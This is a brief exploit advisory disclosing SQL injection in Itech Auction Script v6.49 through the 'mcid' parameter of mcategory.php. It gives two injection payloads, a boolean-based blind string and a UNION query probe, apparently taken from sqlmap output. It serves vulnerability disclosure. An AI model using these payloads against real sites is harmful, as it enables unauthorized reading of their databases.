Auction Script 6.49 SQL Injection

`Exploit Title: Itech Auction Script v6.49 a SQL Injection  
Date: 30.01.2017  
Vendor Homepage: http://itechscripts.com/  
Software Link: http://itechscripts.com/auction-script/  
Exploit Author: Kaan KAMIS  
Contact: iletisim[at]k2an[dot]com  
Website: http://k2an.com  
Category: Web Application Exploits  
  
Overview  
  
Auction Script v6.49 is the best standard auction product. This also comes pre-integrated with a robust Multi-Vendor interface and a powerful CMS panel.  
  
Type of vulnerability:  
  
An SQL Injection vulnerability in Itech Auction Script allows attackers to read  
arbitrary data from the database.  
  
Vulnerability:  
  
URL : http://locahost/mcategory.php?mcid=4[payload]  
  
Parameter: mcid (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: mcid=4' AND 1734=1734 AND 'Ggks'='Ggks  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 1 column  
Payload: mcid=-5980' UNION ALL SELECT CONCAT(0x71706b7171,0x764646494f4c7178786f706c4b4749517349686768525865666c6b6456434c766b73755a44657777,0x7171706a71)-- XAee  
  
  
`